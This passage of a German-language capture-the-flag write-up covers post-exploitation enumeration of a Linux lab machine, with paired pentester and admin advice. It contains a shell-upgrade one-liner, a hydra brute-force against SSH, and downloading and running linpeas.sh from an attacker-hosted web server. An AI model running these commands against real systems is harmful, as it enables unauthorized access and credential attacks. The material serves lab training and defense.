**Empfehlung (Pentester):** Neben `stty` oft auch das Starten einer "richtigen" Shell innerhalb der `nc`-Shell hilfreich, z.B. mit `python -c 'import pty; pty.spawn("/bin/bash")'` oder `script /dev/null -c bash`. Dies ermöglicht bessere Interaktivität (z.B. Ctrl+C, History).
**Empfehlung (Admin):** Diese Befehle sind normale Benutzeraktionen. Der Fokus bleibt auf der Behebung der Ursache für den initialen Zugriff.
uid=1000(killer) gid=1000(killer) grupos=1000(killer)
**Analyse:** Der Befehl `ls -la` wird im Home-Verzeichnis des Benutzers `killer` ausgeführt, um versteckte Dateien und Berechtigungen aufzulisten.
**Bewertung:** Die Ausgabe zeigt Standard-Konfigurationsdateien (`.bash_logout`, `.bashrc`, `.profile`). Interessant sind: * `.bash_history -> /dev/null`: Die Bash-Historie wird nicht gespeichert, was die Nachverfolgung erschwert. * `.erlang.cookie`: Diese Datei enthält sehr wahrscheinlich das Cookie (`poohbear`), das wir zuvor erraten haben. Die Berechtigungen (`-rw-------`) erlauben nur dem Besitzer `killer` das Lesen/Schreiben. * `user.txt`: Diese Datei enthält typischerweise den User-Flag in CTF-Szenarien. Die Berechtigungen (`-r--r--r--`) erlauben jedem das Lesen. *Korrektur der Berechtigungen im Report: `-r--r--r--` steht da, nicht `-r--------`* Die Berechtigungen (`-r--------`) erlauben nur dem Besitzer `killer` das Lesen. Der User-Flag ist gefunden!
**Empfehlung (Pentester):** Den Inhalt von `user.txt` auslesen, um den Flag zu erhalten. Den Inhalt von `.erlang.cookie` überprüfen, um das gefundene Cookie zu bestätigen. Die restlichen Dateien können auf interessante Informationen oder Konfigurationen geprüft werden, sind aber wahrscheinlich weniger relevant für die Privilegienerweiterung.
**Empfehlung (Admin):** Überprüfen, warum `.bash_history` nach `/dev/null` verlinkt ist. Dies könnte Absicht sein, um Spuren zu verwischen. Sicherstellen, dass Dateiberechtigungen angemessen sind (z.B. sollte `.erlang.cookie` nur für den Besitzer lesbar sein, was hier der Fall ist).
total 36 drwxr-x--- 3 killer killer 4096 ago 20 19:02 . drwxr-xr-x 4 root root 4096 ago 20 17:53 .. lrwxrwxrwx 1 root root 9 abr 23 2023 .bash_history -> /dev/null -rw-r--r-- 1 killer killer 220 ene 15 2023 .bash_logout -rw-r--r-- 1 killer killer 3526 ene 15 2023 .bashrc -rw------- 1 killer killer 9 ago 20 18:00 .erlang.cookie drwxr-xr-x 3 killer killer 4096 jun 22 2023 .local -rw-r--r-- 1 killer killer 807 ene 15 2023 .profile -rw-r--r-- 1 killer killer 66 ago 1 2023 .selected_editor -r-------- 1 killer killer 33 ago 20 19:02 user.txt
**Analyse:** Der Befehl `cat user.txt` liest den Inhalt der zuvor gefundenen Datei `user.txt` aus.
**Bewertung:** Der Befehl gibt den User-Flag aus: `19d0cc1d2dc911e8d8d86977edd41018`. Das erste Ziel des initialen Zugriffs ist erreicht.
**Empfehlung (Pentester):** Den User-Flag dokumentieren. Nun vollständig auf die Privilegienerweiterung zum Root-Benutzer konzentrieren.
**Empfehlung (Admin):** Die Berechtigungen der Flag-Datei sind korrekt (nur Besitzer kann lesen). Die Existenz der Datei selbst ist Teil des CTF-Szenarios.
19d0cc1d2dc911e8d8d86977edd41018
**Analyse:** Der Befehl `ss -altpn` wird verwendet, um Netzwerkverbindungen und lauschende Sockets auf dem Zielsystem anzuzeigen. * `-a`: Zeigt alle Sockets an (lauschende und nicht-lauschende). * `-l`: Zeigt nur lauschende Sockets an. * `-t`: Zeigt nur TCP-Sockets an. * `-p`: Zeigt die Prozesse an, die die Sockets verwenden. * `-n`: Zeigt numerische Adressen und Ports an (keine Namensauflösung).
**Bewertung:** Die Ausgabe bestätigt die bereits bekannten offenen Ports (22, 80, 4369, 8080, 37843) und zeigt die zugehörigen Prozesse. * Port 37843 wird vom Prozess `beam.smp` (dem Erlang Runtime System) verwendet, was konsistent ist. * Ein zusätzlicher SSH-Dienst lauscht auf `127.0.0.1:222`. Dies ist sehr interessant, da er nur lokal erreichbar ist und möglicherweise für administrative Zwecke oder andere Benutzer dient. * Ein Mailserver (vermutlich Exim, basierend auf späteren Funden) lauscht auf `127.0.0.1:25` (SMTP). Der lokale SSH-Dienst auf Port 222 ist ein potenzieller Vektor für Privilegienerweiterung, falls darauf ein anderer Benutzer (z.B. root oder ein Benutzer mit sudo-Rechten) zugreifbar ist.
**Empfehlung (Pentester):** Den lokalen SSH-Dienst auf Port 222 genauer untersuchen. Versuchen herauszufinden, welcher Benutzer darüber erreichbar ist. Port Forwarding oder SSH-Tunneling könnte notwendig sein, um von außen darauf zuzugreifen. Brute-Force-Angriffe oder das Ausnutzen von Konfigurationsschwächen könnten möglich sein.
**Empfehlung (Admin):** Den Zweck des lokalen SSH-Dienstes auf Port 222 klären. Wenn er nicht benötigt wird, deaktivieren. Wenn er benötigt wird, sicherstellen, dass er sicher konfiguriert ist und nur autorisierte Benutzer Zugriff haben. Lokale Dienste sollten ebenfalls abgesichert werden.
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 128 0.0.0.0:37843 0.0.0.0:* users:(("beam.smp",pid=429,fd=17)) LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 20 127.0.0.1:25 0.0.0.0:* LISTEN 0 128 127.0.0.1:222 0.0.0.0:* LISTEN 0 511 *:8080 *:* LISTEN 0 511 *:80 *:* LISTEN 0 4096 *:4369 *:* LISTEN 0 20 [::1]:25 [::]:*
**Analyse:** Der Befehl `df -h` zeigt die eingehängten Dateisysteme, ihre Größe, den benutzten und verfügbaren Speicherplatz sowie den Einhängepunkt an. `-h` sorgt für menschenlesbare Größenangaben (z.B. M für Megabyte, G für Gigabyte).
**Bewertung:** Die Ausgabe zeigt ein Standard-Linux-Dateisystemlayout. Das Root-Dateisystem (`/dev/sda1` auf `/`) ist relativ klein (6.9G) und zu 57% belegt. Es gibt keine ungewöhnlichen Einhängepunkte oder Dateisysteme, die auf den ersten Blick für Privilegienerweiterung relevant wären (wie z.B. ungesicherte NFS-Shares).
**Empfehlung (Pentester):** Die Information zur Kenntnis nehmen. Manchmal können volle Dateisysteme zu unerwartetem Verhalten führen, aber hier ist noch genügend Platz vorhanden. Der Fokus sollte auf anderen Vektoren bleiben.
**Empfehlung (Admin):** Die Festplattenauslastung ist normal. Regelmäßige Überwachung der Speicherplatzbelegung ist eine Standard-Administrationsaufgabe.
S.ficheros Tamaño Usados Disp Uso% Montado en udev 465M 0 465M 0% /dev tmpfs 97M 500K 96M 1% /run /dev/sda1 6,9G 3,7G 2,9G 57% / tmpfs 483M 0 483M 0% /dev/shm tmpfs 5,0M 0 5,0M 0% /run/lock
**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht im gesamten Dateisystem (`/`) nach Dateien (`-type f`), die das SUID-Bit gesetzt haben (`-perm -4000`). Das SUID-Bit erlaubt es einem Benutzer, die Datei mit den Rechten des Dateibesitzers (oft root) auszuführen. `-ls` zeigt detaillierte Informationen zu den gefundenen Dateien an. `2>/dev/null` unterdrückt Fehlermeldungen (z.B. bei fehlenden Leseberechtigungen für Verzeichnisse).
**Bewertung:** Es werden mehrere Dateien mit gesetztem SUID-Bit gefunden, die meisten davon sind Standard-Linux-Tools (`mount`, `chfn`, `gpasswd`, `chsh`, `umount`, `sudo`, `passwd`, `newgrp`, `ssh-keysign`, `dbus-daemon-launch-helper`). Diese sind normalerweise sicher konfiguriert. Es gibt keine ungewöhnlichen oder benutzerdefinierten SUID-Binaries, die direkt auf eine Schwachstelle hindeuten. `sudo` ist natürlich immer ein potenzieller Vektor, falls der aktuelle Benutzer `killer` spezifische `sudo`-Rechte hat.
**Empfehlung (Pentester):** Die Liste der SUID-Dateien auf ungewöhnliche oder veraltete Versionen prüfen, für die bekannte Exploits existieren (GTFOBins ist hier eine gute Ressource). Die `sudo`-Rechte des Benutzers `killer` überprüfen (`sudo -l`).
**Empfehlung (Admin):** Regelmäßig überprüfen, welche Dateien das SUID-Bit gesetzt haben und ob dies notwendig ist. Unnötige SUID-Bits entfernen. Sicherstellen, dass die SUID-Programme aktuell sind und keine bekannten Schwachstellen aufweisen.
260611 56 -rwsr-xr-x 1 root root 55528 mar 28 11:09 /usr/bin/mount 259697 60 -rwsr-xr-x 1 root root 58416 feb 7 2020 /usr/bin/chfn 259700 88 -rwsr-xr-x 1 root root 88304 feb 7 2020 /usr/bin/gpasswd 259698 52 -rwsr-xr-x 1 root root 52880 feb 7 2020 /usr/bin/chsh 260612 36 -rwsr-xr-x 1 root root 35040 mar 28 11:09 /usr/bin/umount 272589 180 -rwsr-xr-x 1 root root 182600 ene 14 2023 /usr/bin/sudo 259701 64 -rwsr-xr-x 1 root root 63960 feb 7 2020 /usr/bin/passwd 263292 44 -rwsr-xr-x 1 root root 44632 feb 7 2020 /usr/bin/newgrp 262589 472 -rwsr-xr-x 1 root root 481608 dic 21 2023 /usr/lib/openssh/ssh-keysign 260405 52 -rwsr-xr-- 1 root messagebus 51336 jun 6 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
**Analyse:** Der Befehl `cat /etc/crontab` zeigt den Inhalt der systemweiten Crontab-Datei an. Cronjobs sind geplante Aufgaben, die zu bestimmten Zeiten ausgeführt werden. Schwach konfigurierte Cronjobs, die beispielsweise Skripte mit unsicheren Berechtigungen ausführen, können ein Vektor für Privilegienerweiterung sein.
**Bewertung:** Die angezeigte Crontab enthält nur Standardeinträge für die Ausführung von stündlichen, täglichen, wöchentlichen und monatlichen Skripten aus den Verzeichnissen `/etc/cron.hourly`, `/etc/cron.daily`, etc. Diese werden als `root` ausgeführt. Es gibt keine benutzerdefinierten oder auf den ersten Blick verdächtigen Einträge direkt in dieser Datei.
**Empfehlung (Pentester):** Die Verzeichnisse `/etc/cron.hourly`, `/etc/cron.daily`, `/etc/cron.weekly`, `/etc/cron.monthly` und die darin enthaltenen Skripte untersuchen. Prüfen, ob der aktuelle Benutzer `killer` Schreibrechte auf eines dieser Skripte oder Verzeichnisse hat. Wenn ja, könnte man ein Skript modifizieren oder hinzufügen, um beim nächsten Lauf Code als root auszuführen. Auch die Berechtigungen von `run-parts` selbst könnten relevant sein.
**Empfehlung (Admin):** Sicherstellen, dass die Berechtigungen für die Cron-Verzeichnisse und die darin enthaltenen Skripte sicher sind (normalerweise nur für root beschreibbar). Den Inhalt der Cron-Skripte regelmäßig überprüfen, um sicherzustellen, dass sie keine unsicheren Operationen durchführen.
# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
**Analyse:** Es wird versucht, das Home-Verzeichnis aufzulisten (`ls /home/`) und anschließend in das Verzeichnis `/home/satanas` zu wechseln (`cd ../satanas/`).
**Bewertung:** `ls /home/` zeigt, dass es neben dem Home-Verzeichnis von `killer` auch ein weiteres Home-Verzeichnis namens `satanas` gibt. Dies deutet auf einen zweiten Benutzer auf dem System hin. Der Versuch, in dieses Verzeichnis zu wechseln, scheitert jedoch mit "Permiso denegado" (Zugriff verweigert). Das ist erwartet, da Home-Verzeichnisse normalerweise nur für den Besitzer und root zugänglich sind.
**Empfehlung (Pentester):** Den Benutzernamen `satanas` notieren. Dieser Benutzer könnte über höhere Privilegien (z.B. `sudo`-Rechte) verfügen oder derjenige sein, der über den lokalen SSH-Port 222 erreichbar ist. Versuchen, Anmeldedaten für `satanas` zu finden oder zu erraten.
**Empfehlung (Admin):** Die Existenz mehrerer Benutzer ist normal. Sicherstellen, dass die Berechtigungen der Home-Verzeichnisse korrekt gesetzt sind (was hier der Fall zu sein scheint).
killer satanas
bash: cd: ../satanas/: Permiso denegado
**Analyse:** Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen des aktuellen Benutzers (`killer`) aufzulisten. `sudo` erlaubt es Benutzern, Befehle als andere Benutzer (typischerweise root) auszuführen, wenn dies in der `/etc/sudoers`-Datei konfiguriert ist.
**Bewertung:** Das System fragt nach dem Passwort für `killer`. Da das Passwort nicht bekannt ist (der Zugriff erfolgte über das Erlang-Cookie), schlagen die Versuche fehl (`Sorry, try again.`, `sudo: 1 incorrect password attempt`). Der Benutzer `killer` hat anscheinend keine `sudo`-Rechte ohne Passwort oder das Passwort ist unbekannt.
**Empfehlung (Pentester):** Versuchen, das Passwort für `killer` zu finden oder zu erraten (z.B. durch Auslesen von Konfigurationsdateien, Brute-Force falls SSH-Passwort-Login aktiviert wäre). Da dies fehlschlägt, muss nach anderen Wegen zur Privilegienerweiterung gesucht werden. Der Fokus verschiebt sich nun stärker auf den Benutzer `satanas` und den lokalen SSH-Port 222.
**Empfehlung (Admin):** Es ist gut, dass `sudo` ein Passwort erfordert. Sicherstellen, dass Benutzer nur die minimal notwendigen `sudo`-Rechte erhalten. `sudo`-Logs (`/var/log/auth.log` oder ähnlich) überwachen, um fehlgeschlagene Versuche zu erkennen.
[sudo] password for killer: Sorry, try again. [sudo] password for killer: sudo: 1 incorrect password attempt
**Analyse:** Es wird in das Verzeichnis `/var/mail/` gewechselt und dessen Inhalt aufgelistet (`ls -la`). Dieses Verzeichnis enthält typischerweise lokale E-Mail-Postfächer für Benutzer.
**Bewertung:** Es gibt zwei Maildateien: `killer` und `www-data`. Die Datei `killer` gehört dem Benutzer `killer` und der Gruppe `mail`, und `killer` hat Lese-/Schreibrechte. Die Datei `www-data` gehört dem Benutzer `www-data` (dem typischen Apache-Benutzer). Dies könnte aufschlussreiche Informationen enthalten.
**Empfehlung (Pentester):** Den Inhalt der Maildatei `killer` untersuchen (`cat killer`), da sie möglicherweise Passwörter, Konfigurationsdetails oder andere sensible Informationen enthält.
**Empfehlung (Admin):** Sicherstellen, dass Maildateien nur für den jeweiligen Benutzer lesbar sind (was hier der Fall ist). Alte oder unnötige Mails regelmäßig löschen.
total 16 drwxrwsr-x 2 root mail 4096 ago 20 18:52 . drwxr-xr-x 13 root root 4096 jun 23 2023 .. -rw-rw---- 1 killer mail 1791 ago 20 18:52 killer -rw-rw---- 1 www-data mail 1810 jun 23 2023 www-data
**Analyse:** Der Inhalt der Maildatei des Benutzers `killer` wird mit `cat killer` angezeigt.
**Bewertung:** Die E-Mail ist eine Unzustellbarkeitsnachricht ("Mail delivery failed"). Sie wurde vom lokalen Mailsystem (`Mailer-Daemon@chain`) an `killer` gesendet, weil eine ursprüngliche Mail von `killer` an `root@chain` nicht zugestellt werden konnte (`Unrouteable address`). Die ursprüngliche Nachricht, die im Anhang zitiert wird, hat den Betreff `* SECURITY information for lang *` und enthält die Zeile: `lang : Aug 20 16:52:22 : killer : a password is required ; TTY=pts/0 ; PWD=/home/killer ; USER=root ; COMMAND=list`. Dies sieht wie eine Log-Zeile aus, möglicherweise von einem fehlgeschlagenen `sudo`-Versuch oder einem anderen sicherheitsrelevanten Ereignis.
**Empfehlung (Pentester):** Die Information ist interessant, liefert aber kein direktes Passwort oder einen klaren Weg zur Privilegienerweiterung. Es bestätigt, dass der Benutzer `killer` versucht hat, einen Befehl als `root` auszuführen, aber ein Passwort erforderlich war. Der Hostname `chain` scheint intern verwendet zu werden. Notieren, aber den Fokus auf andere Vektoren legen.
**Empfehlung (Admin):** Überprüfen, warum Mails an `root@chain` unzustellbar sind und ob das beabsichtigt ist. Sicherstellen, dass Sicherheitsmeldungen korrekt zugestellt und überwacht werden.
From MAILER-DAEMON Tue Aug 20 18:52:22 2024
Return-path: <>
Envelope-to: killer@chain
Delivery-date: Tue, 20 Aug 2024 18:52:22 +0200
Received: from Debian-exim by lang with local (Exim 4.94.2)
id 1sgS5m-0000Fm-NH
for killer@chain; Tue, 20 Aug 2024 18:52:22 +0200
X-Failed-Recipients: user@chain
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@chain>
To: killer@chain
References: <E1sgS5m-0000Fj-Kk@lang>
Content-Type: multipart/report; report-type=delivery-status; boundary=1724172742-eximdsn-174919641
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1sgS5m-0000Fm-NH@lang>
Date: Tue, 20 Aug 2024 18:52:22 +0200
--1724172742-eximdsn-174919641
Content-type: text/plain; charset=us-ascii
This message was created automatically by mail delivery software.
A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:
user@chain
(generated from root@chain)
Unrouteable address
--1724172742-eximdsn-174919641
Content-type: message/delivery-status
Reporting-MTA: dns; lang
Action: failed
Final-Recipient: rfc822;root@chain
Status: 5.0.0
--1724172742-eximdsn-174919641
Content-type: message/rfc822
Return-path: <killer@chain>
Received: from killer by lang with local (Exim 4.94.2)
(envelope-from <killer@chain>)
id 1sgS5m-0000Fj-Kk
for root@chain; Tue, 20 Aug 2024 18:52:22 +0200
To: root@chain
Auto-Submitted: auto-generated
Subject: * SECURITY information for lang *
From: killer <killer@chain>
Message-Id: <E1sgS5m-0000Fj-Kk@lang>
Date: Tue, 20 Aug 2024 18:52:22 +0200
lang : Aug 20 16:52:22 : killer : a password is required ; TTY=pts/0 ; PWD=/home/killer ; USER=root ; COMMAND=list
--1724172742-eximdsn-174919641--
**Analyse:** Der Befehl `ls -la ~` listet erneut den Inhalt des Home-Verzeichnisses von `killer` auf. Anschließend wird der Inhalt der Datei `.erlang.cookie` mit `cat ~/.erlang.cookie` angezeigt.
**Bewertung:** Die Ausgabe von `ls -la ~` ist identisch zur vorherigen. `cat ~/.erlang.cookie` gibt `poohbear` aus. Dies bestätigt, dass das zuvor durch Brute-Force gefundene Cookie tatsächlich in der Cookie-Datei des Benutzers `killer` steht, unter dem der Erlang-Prozess läuft.
**Empfehlung (Pentester):** Dies bestätigt die Korrektheit des initialen Zugriffsvektors. Keine neuen Informationen für die Privilegienerweiterung.
**Empfehlung (Admin):** Erneut der Hinweis: Das Erlang-Cookie muss dringend geändert werden, da es nun bekannt ist und trivial war.
total 36 drwxr-x--- 3 killer killer 4096 ago 20 19:02 . drwxr-xr-x 4 root root 4096 ago 20 17:53 .. lrwxrwxrwx 1 root root 9 abr 23 2023 .bash_history -> /dev/null -rw-r--r-- 1 killer killer 220 ene 15 2023 .bash_logout -rw-r--r-- 1 killer killer 3526 ene 15 2023 .bashrc -rw------- 1 killer killer 9 ago 20 18:00 .erlang.cookie drwxr-xr-x 3 killer killer 4096 jun 22 2023 .local -rw-r--r-- 1 killer killer 807 ene 15 2023 .profile -rw-r--r-- 1 killer killer 66 ago 1 2023 .selected_editor -r-------- 1 killer killer 33 ago 20 19:02 user.txt
poohbear
**Analyse:** Es wird versucht, das Passwort für den Benutzer `killer` via SSH (Port 22) mittels `hydra` zu bruteforcen. * `-l killer`: Gibt den Benutzernamen an. * `-P /usr/share/wordlists/rockyou.txt`: Verwendet die vollständige rockyou.txt Wortliste. * `192.168.2.108`: Das Ziel. * `ssh`: Das zu attackierende Protokoll/Dienst. * `-t 64`: Verwendet 64 parallele Tasks (sehr viele).
**Bewertung:** Der Angriff schlägt fehl. Hydra meldet: `target ssh://192.168.2.108:22/ does not support password authentication (method reply 4)`. Das bedeutet, dass der SSH-Server auf Port 22 so konfiguriert ist, dass er keine Passwort-Authentifizierung zulässt, sondern wahrscheinlich nur Schlüssel-Authentifizierung (Public Key Authentication). Hydra gibt auch eine Warnung aus, dass 64 Tasks zu viel sein könnten.
**Empfehlung (Pentester):** SSH-Passwort-Brute-Force auf Port 22 ist hier sinnlos. Der Fokus muss auf anderen Methoden liegen, wie z.B. dem Ausnutzen von Schwachstellen, dem Finden von privaten SSH-Schlüsseln oder dem Angriff auf andere Dienste/Benutzer (wie `satanas` auf Port 222).
**Empfehlung (Admin):** Die Konfiguration, Passwort-Authentifizierung für SSH zu deaktivieren und nur Schlüssel-Authentifizierung zu erlauben, ist eine empfohlene Sicherheitspraxis und hat hier den Brute-Force-Angriff verhindert. Diese Konfiguration beibehalten.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-23 13:25:27 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344481 login tries (l:1/p:14344481), ~224133 tries per task [DATA] attacking ssh://192.168.2.108:22/ [ERROR] target ssh://192.168.2.108:22/ does not support password authentication (method reply 4). 1 targets completed process, 0 valid passwords found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-23 13:25:28
**Analyse:** Der Benutzer navigiert im Dateisystem (`cd /../` wechselt ins Root-Verzeichnis `/`, `ls` listet den Inhalt auf) und versucht dann, in das Webserver-Verzeichnis `/var/www/` zu wechseln.
**Bewertung:** Das Listing des Root-Verzeichnisses zeigt eine Standard-Linux-Struktur. Der Versuch, nach `/var/www/` zu wechseln, scheitert erneut mit "Permiso denegado" (Zugriff verweigert). Der Benutzer `killer` hat keine Leserechte für dieses Verzeichnis, was üblich ist (normalerweise gehört es `root` oder `www-data`).
**Empfehlung (Pentester):** Erkunden anderer Verzeichnisse, auf die `killer` Zugriff hat (z.B. `/tmp`, `/var/tmp`, `/home/killer`). Da der direkte Zugriff auf `/var/www` nicht möglich ist, bleibt die Web-Enumeration von außen der Weg, um Informationen über die Webanwendungen zu erhalten.
**Empfehlung (Admin):** Die Berechtigungen für `/var/www` sind korrekt restriktiv gesetzt. Keine Änderung erforderlich.
bin etc initrd.img.old lib64 media proc sbin tmp vmlinuz boot home lib libx32 mnt root srv usr vmlinuz.old dev initrd.img lib32 lost+found opt run sys var
bash: cd: /var/www/: Permiso denegado
**Analyse:** Der Befehl `getcap -r / 2>/dev/null` sucht rekursiv im gesamten Dateisystem nach Dateien mit gesetzten Linux Capabilities. Capabilities sind eine feingranulare Methode, um Prozessen bestimmte Root-Privilegien zu gewähren, ohne ihnen volle Root-Rechte geben zu müssen. `2>/dev/null` unterdrückt Fehlermeldungen.
**Bewertung:** Der Befehl liefert keine Ausgabe. Das bedeutet, dass keine Dateien mit gesetzten Capabilities gefunden wurden, die für den aktuellen Benutzer `killer` sichtbar sind. Dies schließt einen einfachen Priveskalationsweg über missbräuchliche Capabilities aus.
**Empfehlung (Pentester):** Capabilities sind ein wichtiger Prüfpunkt, aber hier nicht erfolgreich. Andere Enumerationsschritte fortsetzen.
**Empfehlung (Admin):** Es ist gut, dass keine unnötigen Capabilities gesetzt sind. Capabilities sollten nur gezielt und mit Bedacht eingesetzt werden.
**Analyse:** Auf dem Angreifer-PC wird ein einfacher HTTP-Server mit Python 3 gestartet. `python3 -m http.server 8000` startet einen Webserver im aktuellen Verzeichnis (`~/Hackingtools`), der auf Port 8000 auf allen Netzwerkschnittstellen (`0.0.0.0`) lauscht. Dies dient dazu, Dateien vom Angreifer-PC auf das Zielsystem zu übertragen.
**Bewertung:** Dies ist ein Standardverfahren im Pentesting, um Tools oder Skripte auf ein kompromittiertes System zu übertragen, wenn kein direkter Dateitransfer (wie SCP) möglich oder erwünscht ist.
**Empfehlung (Pentester):** Sicherstellen, dass sich die zu übertragende Datei (im nächsten Schritt `linpeas.sh`) im Verzeichnis befindet, in dem der Python-Server gestartet wurde. Die lokale Firewall des Angreifer-PCs muss eingehende Verbindungen auf Port 8000 zulassen.
**Empfehlung (Admin):** Ausgehende Verbindungen vom Zielsystem (Egress Filtering) können solche Downloads verhindern. Überwachung von Netzwerkverbindungen zu ungewöhnlichen Ports wie 8000 kann helfen, solche Aktivitäten zu erkennen.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
**Analyse:** Auf dem Zielsystem wird in das Verzeichnis `/tmp` gewechselt, das normalerweise für alle Benutzer beschreibbar ist. Anschließend wird `wget 192.168.2.199:8000/linpeas.sh` verwendet, um das Skript `linpeas.sh` vom Python-HTTP-Server des Angreifers herunterzuladen.
**Bewertung:** Der Download ist erfolgreich (`linpeas.sh guardado [827827/827827]`). `linpeas.sh` ist ein bekanntes und sehr nützliches Skript zur automatisierten Enumeration von Linux-Systemen auf mögliche Privilegienerweiterungsvektoren.
**Empfehlung (Pentester):** Das heruntergeladene Skript ausführbar machen (`chmod +x linpeas.sh`) und ausführen (`./linpeas.sh`), um das System umfassend zu scannen. Die Ausgabe von LinPEAS sorgfältig analysieren.
**Empfehlung (Admin):** Das Herunterladen und Ausführen von Skripten aus `/tmp` ist ein häufiger Angriffsschritt. Egress Filtering kann den Download verhindern. Das `/tmp`-Verzeichnis könnte mit `noexec` gemountet werden, um die direkte Ausführung von dort heruntergeladenen Dateien zu unterbinden (Angreifer können dies aber oft umgehen). Verhaltensbasierte Erkennung (EDR) kann das Ausführen von verdächtigen Skripten wie LinPEAS erkennen.
--2024-08-23 13:30:49-- http://192.168.2.199:8000/linpeas.sh Conectando con 192.168.2.199:8000... conectado. Petición HTTP enviada, esperando respuesta... 200 OK Longitud: 827827 (808K) [text/x-sh] Grabando a: 'linpeas.sh' linpeas.sh 100%[<===================>] 808,42K --.-KB/s en 0,004s 2024-08-23 13:30:49 (215 MB/s) - 'linpeas.sh' guardado [827827/827827]
**Analyse:** Das heruntergeladene Skript `linpeas.sh` wird mit `chmod +x linpeas.sh` ausführbar gemacht und anschließend mit `./linpeas.sh` gestartet.
**Bewertung:** LinPEAS beginnt seine Arbeit und gibt zunächst sein ASCII-Art-Banner und grundlegende Systeminformationen aus (Kernel-Version, Benutzer, Hostname, beschreibbare Verzeichnisse, verfügbare Netzwerktools). Es hebt hervor, dass der Benutzer `killer` ist und `/dev/shm` beschreibbar ist.
**Empfehlung (Pentester):** Die vollständige Ausgabe von LinPEAS abwarten und sorgfältig prüfen. LinPEAS verwendet Farben zur Hervorhebung potenziell interessanter Funde (rot/gelb sind meist hohe Priorität). Nach Hinweisen auf SUID/GUID-Binaries, Cronjobs, Kernel-Exploits, ungesicherte Dienste, Passwörter in Dateien etc. suchen.
**Empfehlung (Admin):** Wie zuvor erwähnt, kann EDR oder Verhaltensanalyse das Ausführen solcher Enumerationsskripte erkennen. Die von LinPEAS gefundenen potenziellen Schwachstellen sollten nach dem Test behoben werden.
